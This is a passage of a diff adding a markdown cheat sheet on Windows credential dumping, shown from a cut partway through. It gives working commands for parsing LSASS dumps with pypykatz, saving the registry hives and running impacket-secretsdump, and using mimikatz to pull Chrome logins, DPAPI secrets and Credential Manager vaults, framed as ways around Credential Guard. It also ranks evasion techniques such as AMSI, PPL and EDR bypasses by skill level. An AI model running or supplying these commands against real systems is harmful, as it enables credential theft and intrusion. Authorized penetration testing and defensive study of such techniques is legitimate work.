pypykatz lsa minidump lsass.dmp | grep -A3 "NTLM"
|
|
223
|
+
pypykatz lsa minidump lsass.dmp | grep -A3 "Password"
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
---
|
|
227
|
+
|
|
228
|
+
## Credential Guard Bypass Alternatives
|
|
229
|
+
|
|
230
|
+
```bash
|
|
231
|
+
# When Credential Guard blocks LSASS: use these instead
|
|
232
|
+
|
|
233
|
+
# 1. SAM + SYSTEM dump (local accounts only)
|
|
234
|
+
reg save HKLM\SAM C:\Windows\Temp\sam.hive
|
|
235
|
+
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
|
|
236
|
+
reg save HKLM\SECURITY C:\Windows\Temp\security.hive
|
|
237
|
+
impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL
|
|
238
|
+
|
|
239
|
+
# 2. DPAPI master key extraction (password manager, browser creds)
|
|
240
|
+
mimikatz.exe "privilege::debug" "dpapi::cache" "dpapi::chrome /in:C:\Users\USER\AppData\Local\Google\Chrome\User Data\Default\Login Data /unprotect" exit
|
|
241
|
+
|
|
242
|
+
# 3. Browser credential extraction
|
|
243
|
+
SharpChrome.exe logins
|
|
244
|
+
mimikatz.exe "dpapi::chrome /in:Login Data /unprotect" exit
|
|
245
|
+
|
|
246
|
+
# 4. Credential Manager
|
|
247
|
+
mimikatz.exe "privilege::debug" "vault::cred /patch" exit
|
|
248
|
+
|
|
249
|
+
# 5. NTDS.dit (domain controller — best source)
|
|
250
|
+
# Use DCSync or shadow copy
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
---
|
|
254
|
+
|
|
255
|
+
## Skill Levels
|
|
256
|
+
|
|
257
|
+
**BEGINNER:** comsvcs.dll MiniDump → transfer to Kali → pypykatz parse
|
|
258
|
+
|
|
259
|
+
**INTERMEDIATE:** Mimikatz in-memory via Invoke-Mimikatz → AMSI bypass first · Remote dump via impacket-secretsdump
|
|
260
|
+
|
|
261
|
+
**ADVANCED:** PPL bypass with Mimidrv · Handle duplication with Nanodump · EDR evasion via reflective loading
|
|
262
|
+
|
|
263
|
+
**EXPERT:** Handle duplication from EDR process · SilentProcessExit trigger · Custom loader bypassing specific EDR hooks
|
|
264
|
+
|
|
265
|
+
---
|
|
266
|
+
|
|
267
|
+
## References
|
|
268
|
+
|
|
269
|
+
- Mimikatz: https://github.com/gentilkiwi/mimikatz
|
|
270
|
+
- Nanodump: https://github.com/fortra/nanodump
|
|
271
|
+
- pypykatz: https://github.com/skelsec/pypykatz
|
|
272
|
+
- PPLdump: https://github.com/itm4n/PPLdump
|
|
273
|
+
- MITRE ATT&CK T1003.001: https://attack.mitre.org/techniques/T1003/001/
|